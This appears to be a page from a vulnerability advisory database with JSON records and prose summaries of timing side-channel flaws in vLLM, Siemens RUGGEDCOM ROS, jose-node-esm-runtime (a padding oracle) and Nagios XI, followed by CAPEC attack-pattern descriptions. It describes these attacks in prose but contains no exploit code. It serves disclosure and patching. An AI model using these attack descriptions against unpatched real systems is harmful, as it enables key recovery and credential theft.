      "url": "https://github.com/vllm-project/vllm/commit/77073c77bc2006eb80ea6d5128f076f5e6c6f54f"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/vllm/PYSEC-2025-53.yaml"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/vllm-project/vllm"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Potential Timing Side-Channel Vulnerability in vLLM\u2019s Chunk-Based Prefix Caching"
}

GHSA-4RQG-F28V-3GVX

Vulnerability from github – Published: 2022-03-09 00:00 – Updated: 2025-08-12 12:30
VLAI
Details

A vulnerability has been identified in RUGGEDCOM ROS M2100 (All versions < V5.6.0), RUGGEDCOM ROS RMC8388 devices (All versions < V5.6.0), RUGGEDCOM ROS RS416v2 (All versions < V5.6.0), RUGGEDCOM ROS RS900G (All versions < V5.6.0), RUGGEDCOM ROS RS900G (32M) (All versions < V5.6.0), RUGGEDCOM ROS RSG2100 (32M) V5.X (All versions < V5.6.0), RUGGEDCOM ROS RSG2100P (All versions < V5.6.0), RUGGEDCOM ROS RSG2100P (32M) V5.X (All versions < V5.6.0), RUGGEDCOM ROS RSG2288 V5.X (All versions < V5.6.0), RUGGEDCOM ROS RSG2300 V5.X (All versions < V5.6.0), RUGGEDCOM ROS RSG2300P V5.X (All versions < V5.6.0), RUGGEDCOM ROS RSG2488 V5.X (All versions < V5.6.0), RUGGEDCOM ROS RSG900 V5.X (All versions < V5.6.0), RUGGEDCOM ROS RSG920P V5.X (All versions < V5.6.0), RUGGEDCOM ROS RSL910 (All versions < V5.6.0), RUGGEDCOM ROS RST2228 (All versions < V5.6.0), RUGGEDCOM ROS RST916C (All versions < V5.6.0), RUGGEDCOM ROS RST916P (All versions < V5.6.0). A timing attack in a third-party component could make the retrieval of the private key possible, used for encryption of sensitive data. If a threat actor were to exploit this, the data integrity and security could be compromised.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2021-42016"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-203",
      "CWE-208"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-03-08T12:15:00Z",
    "severity": "HIGH"
  },
  "details": "A vulnerability has been identified in RUGGEDCOM ROS M2100 (All versions \u003c V5.6.0), RUGGEDCOM ROS RMC8388 devices (All versions \u003c V5.6.0), RUGGEDCOM ROS RS416v2 (All versions \u003c V5.6.0), RUGGEDCOM ROS RS900G (All versions \u003c V5.6.0), RUGGEDCOM ROS RS900G (32M) (All versions \u003c V5.6.0), RUGGEDCOM ROS RSG2100 (32M) V5.X (All versions \u003c V5.6.0), RUGGEDCOM ROS RSG2100P (All versions \u003c V5.6.0), RUGGEDCOM ROS RSG2100P (32M) V5.X (All versions \u003c V5.6.0), RUGGEDCOM ROS RSG2288 V5.X (All versions \u003c V5.6.0), RUGGEDCOM ROS RSG2300 V5.X (All versions \u003c V5.6.0), RUGGEDCOM ROS RSG2300P V5.X (All versions \u003c V5.6.0), RUGGEDCOM ROS RSG2488 V5.X (All versions \u003c V5.6.0), RUGGEDCOM ROS RSG900 V5.X (All versions \u003c V5.6.0), RUGGEDCOM ROS RSG920P V5.X (All versions \u003c V5.6.0), RUGGEDCOM ROS RSL910 (All versions \u003c V5.6.0), RUGGEDCOM ROS RST2228 (All versions \u003c V5.6.0), RUGGEDCOM ROS RST916C (All versions \u003c V5.6.0), RUGGEDCOM ROS RST916P (All versions \u003c V5.6.0). A timing attack in a third-party component could make the retrieval of the private key possible, used for encryption of sensitive data. If a threat actor were to exploit this, the data integrity and security could be compromised.",
  "id": "GHSA-4rqg-f28v-3gvx",
  "modified": "2025-08-12T12:30:31Z",
  "published": "2022-03-09T00:00:46Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-42016"
    },
    {
      "type": "WEB",
      "url": "https://cert-portal.siemens.com/productcert/html/ssa-256353.html"
    },
    {
      "type": "WEB",
      "url": "https://cert-portal.siemens.com/productcert/pdf/ssa-256353.pdf"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-4V4G-726H-XVFV

Vulnerability from github – Published: 2021-04-19 14:59 – Updated: 2023-03-17 17:49
VLAI
Summary
Padding Oracle Attack due to Observable Timing Discrepancy in jose-node-esm-runtime
Details

Impact

AES_CBC_HMAC_SHA2 Algorithm (A128CBC-HS256, A192CBC-HS384, A256CBC-HS512) decryption would always execute both HMAC tag verification and CBC decryption, if either failed JWEDecryptionFailed would be thrown. But a possibly observable difference in timing when padding error would occur while decrypting the ciphertext makes a padding oracle and an adversary might be able to make use of that oracle to decrypt data without knowing the decryption key by issuing on average 128*b calls to the padding oracle (where b is the number of bytes in the ciphertext block).

Patches

A patch was released which ensures the HMAC tag is verified before performing CBC decryption. The fixed versions are >=3.11.4.

Users should upgrade to ^3.11.4.

Credits

Thanks to Morgan Brown of Microsoft for bringing this up and Eva Sarafianou (@esarafianou) for helping to score this advisory.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "jose-node-esm-runtime"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.11.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-29445"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-203",
      "CWE-208",
      "CWE-696"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-04-16T23:00:41Z",
    "nvd_published_at": "2021-04-16T22:15:00Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\n\n[AES_CBC_HMAC_SHA2 Algorithm](https://tools.ietf.org/html/rfc7518#section-5.2) (A128CBC-HS256, A192CBC-HS384, A256CBC-HS512) decryption would always execute both HMAC tag verification and CBC decryption, if either failed `JWEDecryptionFailed` would be thrown. But a possibly observable difference in timing when padding error would occur while decrypting the ciphertext makes a padding oracle and an adversary might be able to make use of that oracle to decrypt data without knowing the decryption key by issuing on average 128*b calls to the padding oracle (where b is the number of bytes in the ciphertext block).\n\n### Patches\n\nA patch was released which ensures the HMAC tag is verified before performing CBC decryption. The fixed versions are `\u003e=3.11.4`.\n\nUsers should upgrade to `^3.11.4`.\n\n### Credits\nThanks to Morgan Brown of Microsoft for bringing this up and Eva Sarafianou (@esarafianou) for helping to score this advisory.",
  "id": "GHSA-4v4g-726h-xvfv",
  "modified": "2023-03-17T17:49:46Z",
  "published": "2021-04-19T14:59:06Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/panva/jose/security/advisories/GHSA-4v4g-726h-xvfv"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-29445"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/panva/jose"
    },
    {
      "type": "WEB",
      "url": "https://www.npmjs.com/package/jose-node-esm-runtime"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Padding Oracle Attack due to Observable Timing Discrepancy in jose-node-esm-runtime"
}

GHSA-4W2R-VX7W-6P4W

Vulnerability from github – Published: 2026-09-14 06:31 – Updated: 2026-09-14 06:31
VLAI
Details

An issue was discovered in Nagios XI before 5.9.3. The is_insecure_login_authenticated function uses a insecure timing comparison that leads to an attacker being able to bruteforce the admin password, by measuring timing differences in the comparison.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-24035"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-208"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-14T04:16:35Z",
    "severity": "LOW"
  },
  "details": "An issue was discovered in Nagios XI before 5.9.3. The is_insecure_login_authenticated function uses a insecure timing comparison that leads to an attacker being able to bruteforce the admin password, by measuring timing differences in the comparison.",
  "id": "GHSA-4w2r-vx7w-6p4w",
  "modified": "2026-09-14T06:31:17Z",
  "published": "2026-09-14T06:31:17Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-24035"
    },
    {
      "type": "WEB",
      "url": "https://www.nagios.com/downloads/nagios-xi/change-log"
    },
    {
      "type": "WEB",
      "url": "https://www.nagios.com/security-disclosures"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

No mitigation information available for this CWE.

CAPEC-462: Cross-Domain Search Timing

An attacker initiates cross domain HTTP / GET requests and times the server responses. The timing of these responses may leak important information on what is happening on the server. Browser's same origin policy prevents the attacker from directly reading the server responses (in the absence of any other weaknesses), but does not prevent the attacker from timing the responses to requests that the attacker issued cross domain.

CAPEC-541: Application Fingerprinting

An adversary engages in fingerprinting activities to determine the type or version of an application installed on a remote target.

CAPEC-580: System Footprinting

An adversary engages in active probing and exploration activities to determine security information about a remote target system. Often times adversaries will rely on remote applications that can be probed for system configurations.